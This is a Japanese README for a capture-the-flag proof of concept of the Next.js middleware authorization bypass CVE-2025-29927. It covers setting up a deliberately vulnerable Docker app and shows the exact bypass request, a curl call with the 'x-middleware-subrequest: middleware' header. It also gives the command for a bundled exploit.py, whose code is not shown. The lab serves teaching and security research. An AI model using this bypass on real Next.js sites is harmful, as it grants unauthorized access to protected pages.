
これは Capture The Flag (CTF) 形式の Proof of Concept であり、Next.js ミドルウェア認可バイパス の脆弱性 (CVE-2025-29927) を対象としています。目的は、認証ミドルウェアをバイパスして /protected ルートからフラグを取得することです。
/protected/ にリダイレクトされるgit clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
これにより、脆弱な Next.js アプリが http://IP:3000 で起動します
以下にアクセスしてみてください:
curl -i http://IP:3000/protected
/ にリダイレクトされます。
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
提供されている exploit.py を使用して、ミドルウェアをバイパスし、保護されたルートにアクセスします:
python3 exploit.py -url http://IP:3000
成功すると、/protected からフラグを取得できます。
Dockerfile - 脆弱な Next.js アプリケーションをビルドしますexploit.py - 認証をバイパスするために脆弱性を悪用しますpages/ - 脆弱な /protected および /login ルートが含まれていますmiddleware.js - 脆弱なミドルウェアのロジックREADME.md - このファイルこの PoC は教育および研究目的のみを対象としています。所有していないシステム、またはテストする明示的な許可がないシステムに対しては使用しないでください。
脆弱性を悪用して以下にアクセスし、フラグを見つけてください:
http://IP:3000/protected
頑張ってください! 🏴☠️